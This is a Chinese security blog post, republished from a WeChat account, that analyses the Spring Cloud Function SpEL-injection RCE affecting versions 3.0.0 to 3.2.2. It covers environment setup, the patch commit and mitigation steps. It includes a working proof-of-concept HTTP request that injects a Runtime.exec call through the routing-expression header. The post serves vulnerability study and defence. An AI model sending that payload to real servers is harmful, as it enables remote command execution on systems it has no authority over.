Spring Cloud Function SPEL RCE 1day 漏洞分析

admin 2022年3月30日20:06:20评论121 views字数 1555阅读5分11秒阅读模式

0x00 

Spring Cloud Function 动态路由functionRouter HTTP请求头 spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。

0x01 


3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2


0x02 

环境搭建:

https://github.com/spring-cloud/spring-cloud-function/tree/main/spring-cloud-function-samples/function-sample-pojoIdea 导入运行或关注公众号后台回复Spring+Cloud+Function 下载演示环境 java -jar demo.jar 运行项目

POC:

POST /feisec HTTP/1.1Host: 192.168.1.27:9000spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")Content-Length: 1
1

Spring  Cloud Function SPEL RCE 1day 漏洞分析

0x03 洞分析

Spring  Cloud Function的 main 分支 commit dc5128b

https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52

看过Spring  Cloud Gateway漏洞的在这里就比较熟悉了StandardEvaluationContext和SimpleEvaluationContext,StandardEvaluationContext不限制解析,这里添加了SimpleEvaluationContext,限制解析上下文。

Spring  Cloud Function SPEL RCE 1day 漏洞分析

判断 isViaHeader 进行三目运算,http 头过来的请求走headerEvalContext,用 SimpleEvaluationContext 解析SpEL语句,否则用StandardEvaluationContext 解析

Spring  Cloud Function SPEL RCE 1day 漏洞分析

那么重点就在http头怎么构造,官方test里给出了答案

src/test/java/org/springframework/cloud/function/context/config/RoutingFunctionTests.java

Spring  Cloud Function SPEL RCE 1day 漏洞分析

根据本次提交的官方的文档除了functionRouter之外,可以定义自己的RoutingFunction,那么自己定义的也会存在这个漏洞

Spring  Cloud Function SPEL RCE 1day 漏洞分析

RoutingFunction的201行下断点,调试看一下堆栈:

org/springframework/cloud/function/context/config/RoutingFunction.java

Spring  Cloud Function SPEL RCE 1day 漏洞分析


0x04 洞处置

1、用户可排查pom.xml或应用程序中lib文件夹是否包含对spring-cloud-function组件的引用。

建议等待官方发布修复版本或自行下载修复代码进行手动编译

https://github.com/spring-cloud/spring-cloud-function/tree/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

2、更新安全设备防护规则或手动改创建规则防护(检测spring.cloud.function.routing-expression)




原文始发于微信公众号(非曰安全):Spring Cloud Function SPEL RCE 1day 漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日20:06:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Function SPEL RCE 1day 漏洞分析http://cn-sec.com/archives/854241.html

发表评论

匿名网友 填写信息